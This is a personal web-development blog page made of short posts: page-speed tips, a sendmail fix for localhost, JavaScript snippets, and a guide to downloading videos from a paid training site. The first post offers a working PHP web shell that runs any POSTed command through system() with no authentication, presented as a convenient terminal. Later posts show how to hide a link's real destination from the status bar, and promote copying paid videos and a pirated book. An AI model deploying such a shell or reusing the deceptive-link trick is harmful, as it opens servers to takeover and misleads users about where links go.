The blog of Martin

Just helping around

Command Line / Terminal from a PHP file?!?! You got it!

Run a Linux terminal from a php file just by using this code:

cheers!!

<?php
$register_globals = (bool) ini_get(’register_gobals’);
if ($register_globals) $svr = getenv(SERVER_NAME);
else $svr = $_SERVER['SERVER_NAME'];
?>
<html>
<head>
<title>Command line</title>
</head>
<body>
<form enctype=”multipart/form-data” method=”POST”>
<br>
[webshell@<?php echo $svr ?> /]#
<input type=”text” name=”cmd” value=”">
<input type=”submit” value=”Enter”>
</form>
<br>
<hr width=”75%” align=”left”>
<br>
</body>
</html>
<?php
$cmd = $_POST['cmd']; if($cmd) { echo ‘ok..<pre>’; echo $last_line = system($cmd); echo ‘</pre><br>’; }

?>

1 Comment
taintedsong.com taintedsong.com taintedsong.com

Change the MySql root password WAMP problem

http://www.devx.com/opensource/Article/21598/1954

Found this article on how to change the MySql root password



2 Comments
taintedsong.com taintedsong.com taintedsong.com

Here is how to make your site load Steroids-FAST!

Just use this CSS compressor:

http://www.cssdrive.com/index.php/main/csscompressor/

I love you too!

3 Comments
taintedsong.com taintedsong.com taintedsong.com

Make a site load quicker!

Formatting Tips To Speed up Your Website

While more and more people are getting access to high speed internet, there are many left on dial up. Be kind to those visitors and do a few, simple things to speed up your webpages. Not only will these tips give you a faster load time, most will also help keep your bandwidth fees low as well!

Use CSS For Faster Pages

Even if you decide to use tables, CSS can greatly improve your web sites load time! With your styles in an external .css file, the browser can cache all the formatting and stylizing for your pages instead of having to read each and every single tag all over again. Also it cuts down on long drawn out tags and replaces them with smaller class styles instead.

Use External Scripts

Use the same script on multiple pages? Switch to an external script. I’m not talking about remotely hosted, I mean loading javascript files from one source instead of adding all that code to each of your pages like this:

<script type="text/javascript" src="yourscript.js"></script>

That way the browser already has it in it’s cache and won’t have to read it each time another page loads. This one saves a ton of load time, specially for larger scripts!

Remove Anything You Don’t Really Need

OK, while this might sound obvious sometimes the hardest thing about creating a website is not using every fancy trick that you know. Images, flash and sometimes even sound files are very impressive.. but do you really need to showcase all your talents on one page?

Embedded sound files are something many people just find annoying anyway. You’d be surprised how many are surfing at work ;-). The last thing anyone wants is a loud music or sounds announcing to their boss that they’re surfing. Also many people have their own music playing… hearing a song over top of what we’re listening to is less than pleasant. As for Java applets, try to ditch them or if you want those effects, JavaScript unusually loads faster and can do just as much or more. Stand back and take a critical look at your website, you may see a few special effects that can be let go of for the sake of faster load time.

Avoid Nested Tables

OK, I’m not a big fan of using tables for layout anyway (I’m one of those people that believes content and presentation should be separate.. but thats another tip page). With that said, if in your templates tables seem necessary (or the easier way to do it), try to avoid nesting. Why? When you place a table inside another table, it takes a lot longer for the browser to work out the spacing since it has to wait to read the entire html and then work out the layout. If at all possible, try using CSS to create the columns on your page.

Avoid Full Page Tables for Faster Rendering

If you use tables, try avoiding the whole page being one big table. The browser won’t show anything until it’s read the whole thing that way. For a faster loading webpage, either try multiple tables (not nested) or having stuff above the main table to make your content in the first table show up faster. That way your visitors will have something to read while the rest of your page loads. It may not really make you page faster, but it will feel like it to your visitors.

Split Up Long Pages - Multiple Short Pages Load Faster

By splitting up long pages into multiple pages you not only make the content show up faster but many people that see a very long scroll bar give up. Remember, people’s attention spans are often shorter than a grasshoppers (OK, not literally, but you get my point) since so much information is available at our fingertips. Try breaking it up into more readable lengths.

Remove Excess “Whitespace”

Whitespace is the spaces between your coding, removing the unneeded tabs and spaces can help a lot! Doing this will take a lot of extra bytes off the total size of your page and will speed up load time quite a bit. (Careful using automatic squishers, I find they often squish too much and makes it rather hard to edit later.)

Keep Your Code Clean

If you do use a wysiwyg editor, most times the will add useless code to your pages for example, many will leave empty tags (ie. <font> </font>). Removing any of those excess tags will not only speed up your load time, but make you pages validate a lot cleaner.

Speed up Images Load Time

Don’t Go Overboard On Images

While images can greatly enhance the look of a site they can really slow it down if there are too many. Try to decide if all your images are really needed (quite a few nice effects can be done with css, so sometimes images are unneeded.)

Height And Width Tags

When the page loads and the image size is already defined (ie. you’ve used the height and width tags), the browser knows where everything will be before the images are loaded. Otherwise the page has to wait and load the images before the text. Same goes for tables, so try to use width tags when possible on those as well for a speedier page.

Faster Images? Reduce Their File Size

There are many totally free, online image optimizers so you don’t even have to install anything and it’s extremely easy! Online Image Optimizer will greatly reduce the file size of your gif, jpg, or pngs and neither you or your visitors will be able to see the difference other than a page that loads a heck of a lot faster. They also keep the transparency and animations in gifs! For another JPEG reduction, try JPEG Wizard, also free, this one will only work with pictures in your hard drive not ones from the net. You can also choose some simple effects to be done (flip, mirror and rotate).

GIF vs JPG vs PNG

Personally on new sites I design I tend to go for optimized pngs. They have lossless compression (unlike jpgs and can be used without worry (gifs have the potential to have copyright issues) and load fast! With all that said, if you still want to use gifs and jpgs, here’s a bit of fast info… If you don’t need sharp resolution, choose GIFs over JPEGs, as GIFs generally load quicker. JPGs are generally best for photos, GIFs for anything else.

(I’d add a rant here about how Microsoft had held up the web’s development with not making IE6 support png transparency… but *sigh* I’ve ranted about this already to anyone who will listen. Firefox, Opera and other modern browsers however have been able to show alpha transparency in png for years… oops, sorry, that was a mini rant after all!)

16 Comments
taintedsong.com taintedsong.com taintedsong.com

Open several windows with one click

Have you ever wondered how you could click one link and series of windows will just open, here is how:

<html>
<head>
<script type=”text/javascript”>
function open_win() {
window.open(”http://www.java2s.com/”)
window.open(”http://www.java2s.com/”)
}
</script>
</head>

<body>
<form>
<input type=button value=”Open Windows” onclick=”open_win()”>
</form>

</html>

2 Comments
taintedsong.com taintedsong.com taintedsong.com

FINALLY!! After much research! A way to HIDE a LINK from the status bar with JavaScript

<a href=”http://www.yahoo.com” onclick=”parent.location.href=’http://www.google.com’; return event.returnValue=false”>Yahoo</a>

4 Comments
taintedsong.com taintedsong.com taintedsong.com

FIX the SendMail function on localhost - PHP, FINALLY!

Hello,

I always pulled my hairs because I couldn’t get the stupid (sorry no censure is allowed on my blog :) Send Mail to work so I couldnt work on my localhost properly, instead I would just use my server that I use for hosting arvixe I highly recommend them I started using them after hostgator disappointed me, but anyway.

Let’s get your sendmail to work on your localhost, first let make sure you are getting the error that Im guessing you are getting, execute:

<?php
$to = "yourboss@something.com";
$subject = "HTML email";
$message = "
<html>
<head>
<title>HTML email</title>
</head>
<body>
<p>This email contains HTML Tags!</p>
<table>
<tr>
<th>Firstname</th>
<th>Lastname</th>
</tr>
<tr>
<td>John</td>
<td>Doe</td>
</tr>
</table>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n";
// More headers
$headers .= 'From: <webmaster@example.com>' . "\r\n";
$headers .= 'Cc: yourboss@something.com' . "\r\n";
mail($to,$subject,$message,$headers);
?>

Ok, after you execute that, you should get an error that looks like this one:

Warning: mail() [function.mail]: Failed to connect to mailserver at “localhost” port 25, verify your “SMTP” and “smtp_port” setting in php.ini or use ini_set() in C:\wamp\www\mail.php on line 30

The problem is that your SMTP server is blocked so you cant use it but only by email programs, so you need a SMTP server installed on your localhost, just download and install:

http://www.postcastserver.com/

here is a link to the free version:

http://www.postcastserver.com/download/release.aspx?p=3

NOW

on the line of PHP.ini put this

SMTP = localhost

and you are done!

3 Comments
taintedsong.com taintedsong.com taintedsong.com

How to Download embedded videos from Lynda, Dirty and FREE!

THIS IS INFORMATION IS ONLY FOR STUDYING PURPOSES, IM NOT RESPONSIBLE FOR THE MISUSE OF THIS INFORMATION!

Get a free 7 day trial of lynda here http://www.lynda.com/promo/freepass/Default.aspx?lpk35=197

You must have Firefox

Install the GreaseMonkey Firefox extension from here.

Go up to Tools in the menu bar. You
should now have the following menu options: “Install user script”,
“Manage user scripts”, and “User script command”.

Next, we have to install the GreaseMonkey user scripts. You can find a growing list of scripts here. To download embedded movies, you’ll want to install the Unembed script. Click on the Unembed link. Doing so will open a page with whatappears to be plain text (the actual script code). Go to Tools > Install user script. A “Install user script” window will pop up. Click OK to install.

Finally, navigate to a website with an embedded video file. After installing the GreaseMonkey Unembed script, you should now see a [download] link, Make sure you right click it an “Save link as”

Here is the source code, just for fun :D

// ==UserScript==
// @name	Unembed
// @namespace	http://neugierig.org/software/greasemonkey
// @description	Adds a download link to embedded movies
// @include	*
// ==/UserScript
//
// *** NOTE: there is an easier way to accomplish this than using this script.
// ***       please see http://neugierig.org/software/greasemonkey/ for info.

(function() {
  var xpath = "//embed";
  var res = document.evaluate(xpath, document, null,
                              XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  var i, embed;
  for (i = 0; embed = res.snapshotItem(i); ++i) {
    var dl = document.createElement('a');
    dl.href = embed.src;
    dl.appendChild(document.createTextNode('[download]‘));
    embed.parentNode.insertBefore(dl, embed.nextSibling);
  }
})();

// vim: set ts=2 sw=2 :
1 Comment
taintedsong.com taintedsong.com taintedsong.com

From a Form to Mysql using PHP

I wanted to share this link to my readers, I think this is the backbone to web applications in PHP

http://php.about.com/od/phpbasics/ss/mysql_files.htm

Please introduce yourself!

Later

8 Comments
taintedsong.com taintedsong.com taintedsong.com

PHP Pocket reference BUSTED! FREE

PHPFound a digital version here, handy to grab the code for practice..


No comment
taintedsong.com taintedsong.com taintedsong.com